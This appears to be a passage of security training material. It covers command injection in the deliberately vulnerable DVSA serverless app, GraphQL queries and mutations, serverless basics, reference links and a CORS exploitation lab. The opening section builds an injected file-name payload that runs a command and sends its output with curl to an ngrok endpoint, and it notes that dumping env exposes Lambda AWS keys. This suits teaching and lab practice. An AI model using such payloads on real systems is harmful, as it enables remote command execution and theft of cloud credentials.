- Whatever\_; -> It checks for an underscore in the file name
- Curl something.ngrok.io -> The ngrok endpoint to send the output
- "\$(whoami)"; -> The command to run
- Echo x.raw -> Needs to end in .raw to be triggered.









With everything in place go and check the Ngrok web interface to check that there are some requests.

Commands that return a multiline response will not go through as they will break the payload. However, they can be base64 encoded without breaking the lines using "\$(ls - lha | base64 -w0)" in the payload.












Ngrok will now receive the requests that can be decoded to get the command output.











If you output the env command result, it will include the AWS keys used by the lambda functions. As a result they will have the same privileges they are given and used with the API.

At this point DVSA stack can be deleted from the CloudFormation AWS Service and the S3 Buckets.









### **GRAPHQL**

- Graphql is a different type of API interface where there is one endpoint to an API (Instead of many endpoints in REST), and two types of operations (Query and Mutate) instead of 5 or so in REST (GET, PUT, POST, PATCH, DELETE).
- Usually example.com/graphql or something similar (Nice idea of Google dorks).
- REST usually has one endpoint for each type of object (users, groups, items, books, orders, shipments...etc) with 3 or more operations on each endpoint
- In graphql, the same endpoint serves all predefined objects under both Query and Mutation methods.









## **GRAPHQL TERMS**

- Query: A query operation on an object or type.
- Mutate: an update operation on an object, like creating a new one, updating it fully, updating it partially, or deleting it.
- Type (objecttype): A type of object, like a class or table, e.g. Users, Orders, books







## MORE GRAPHQL TERMS

- Schema: Describes the types, fields and actions available.
- Introspection: A method to learn more about the schema details like types and fields.
- Resolver: A function that connects schema definitions to actual backend data sources like SQL tables.
- Scalar Type: Type of data for a field, like string, int or custom types.









## Sample GraphQL query:

```
Graph iQL
                      Prettify
                                History
1 v {
                                                       "data": {
     users {
        id
                                                        "users": [
       username
                                                             "id": "2",
        isSuperuser
                                                             "username": "admin",
        email
                                                             "isSuperuser": true,
                                                             "email": "admin@localhost"
                                                             "id": "11",
                                                             "username": "evil",
                                                             "isSuperuser": true,
                                                             "email": ""
                                                             "id": "12",
                                                             "username": "bad",
                                                             "isSuperuser": false,
                                                             "email": ""
```







- GraphQL can also be called from the command line using curl.
  - Using POST
  - Content-type is JSON
  - Output is sent to jq for pretty JSON







## Calling a particular object in GraphQL:









## **Graphql nesting queries:**

- Display each user with his group subscriptions using graphql, showing the id and name of the group
- Hint: groups {id name}
- Try both the GraphiQL and Curl







## Security in graphql

- Graphql has no built-in understanding of security. It will return the object as it was requested.
- Without explicit filtering, sensitive data could be exposed and extracted.
- Can we read user sensitive info such as passwords?









## Making updates in graphql:

- In Graphql, updates (Addition, Creation, Deletion) are called mutations.
- Let's check the source code
- We have 3 mutations






```
class Mutation(graphene.ObjectType):
    create_user = CreateUser.Field()
    update user = UpdateUser.Field()
    delete user = DeleteUser.Field()
```









### **Deleteuser mutation**

- The deleteUser mutation can be called by:
  - Defining the query type to be a mutation
  - Selecting the named deleteUser mutation
  - Supplying the id to be deleted, and a sub selection for response (ok field here)

```
student@ubuntu:~$ curl -s -X POST -H "Content-Type: application/json" --data '{"query":"mutation {deleteUser(id:22){ok}}"}'
http://localhost/graphql | jq
{
    "data": {
        "deleteUser": {
            "ok": true
        }
     }
}
```

```
mutation deleteUser
{
   deleteUser(id:24)
   {
      ok
   }
}
```









**Function as a Service (FaaS)** is a modern (as of beginning of 2020) type of software architecture. It is implemented in most common cloud providers like AWS Lambda, Google Cloud Functions, IBM OpenWhisk or Microsoft Azure Functions.

The FaaS model allows us to execute code in response to events without maintaning any infrastructure for it (apart from the cloud account). It allows the user to simply upload modular fragments of functionalities into the cloud in and they are executed independently.










Such solution allows for better scalability, and is a next level of splitting a monolithic application into functional pieces.











A sample "Hello World" in FaaS (written in Node.js) can look like below.

```
/**

* @param {Object} req Cloud Function request context.

* @param {Object} res Cloud Function response context.

*/
exports.helloHttp = function helloHttp (req, res) {
res.send(`Hello ${req.body.name || 'World'}!`);
};
```









Despite being a function, keep in mind that any online service exchanges and processes data or does any sort of authentication. This is exactly the same subject to abuse as any other web or cloud application!

You can experiment more with Serverless software by downloading and playing with DVFaaS:

https://github.com/we45/DVFaaS-Damn-Vulnerable-Functions-as-a-Service










Each subdirectory of the project contains detailed steps to follow in order deploy as well as exploit a vulnerable instance.












We encourage you to explore the API and Cloud area, as there is definitely lots of vulnerabilities in discover in field of Cloud security!

















### **Cross Origin Resource Sharing**

https://www.w3.org/TR/cors/

#### Calculator Web Service

http://www.dneonline.com/calculator.asmx

### Calculator webservice - add

http://www.dneonline.com/calculator.asmx?op=Add

### Sample calculator webservice wsdl file

http://www.dneonline.com/calculator.asmx?wsdl











### Web Application Description Language

https://www.w3.org/Submission/wadl/

### **Swagger UI**

https://swagger.io/tools/swagger-ui/

#### <u>Swagger</u>

https://swagger.io/

### Web Services Description Language (WSDL) 1.1

https://www.w3.org/TR/wsdl.html











#### **Latest SOAP versions**

https://www.w3.org/TR/soap/

### Latest Release of SoapUl

https://www.soapui.org/downloads/latest-release.html

### **Running Adhoc Commands**

https://docs.rundeck.com/docs/api/rundeck-api.html#adhoc

### AWS - Getting shell access

https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed











### EC2 after IMDSv2

https://blog.appsecco.com/server-side-request-forgery-ssrf-and-aws-ec2-instances-after-instance-meta-data-service-version-38fc1ba1a28a

#### Function as a Service

https://medium.com/@BoweiHan/an-introduction-to-serverless-and-faas-functions-as-a-service-fb5cec0417b2

#### Damn Vulnerable Function as a Service

https://github.com/we45/DVFaaS-Damn-Vulnerable-Functions-as-a-Service

#### clarketm/s3recon

https://github.com/clarketm/s3recon

















<u>Listing of Amazon S3 Bucket accessible to any amazon authenticated user (vector-maps-e457472599)</u>

https://hackerone.com/reports/631529

Open AWS S3 bucket leaks all Images uploaded to Zomato chat

https://hackerone.com/reports/507097

Open S3 Bucket WriteAble To Any Aws User

https://hackerone.com/reports/209223

Open s3 bucket allows for public upload

https://hackerone.com/reports/504600











### serverless-plugin-warmup

http://github.com/Fidellimited/serverless-plugin-warmup

#### **DVSA**

https://github.com/OWASP/DVSA

### **AWS Lambda**

https://aws.amazon.com/lambda

### **OWASP ServerlessGoat**

https://www.serverless-hack.me/











### **DVSA**

https://github.com/OWASP/DVSA/blob/master/backend/src/functions/processing/send\_receipt\_email.py

### **Ngrok**

https://ngrok.com/











## Labs

### **Null Origin Exploitation**

There is a sample website that holds a secret token. Your task is to prepare an exploit that takes advantage of a CORS configuration on secret.php and, once opened in another tab, access and send the secret information to another place in the same way an XSS can steal a cookie.









<sup>\*</sup>Labs are only available in Full or Elite Editions of the course. To access, go to the course in your members area and click the labs drop-down in the appropriate module line or to the virtual labs tabs on the left navigation. To UPGRADE, click <u>LINK</u>.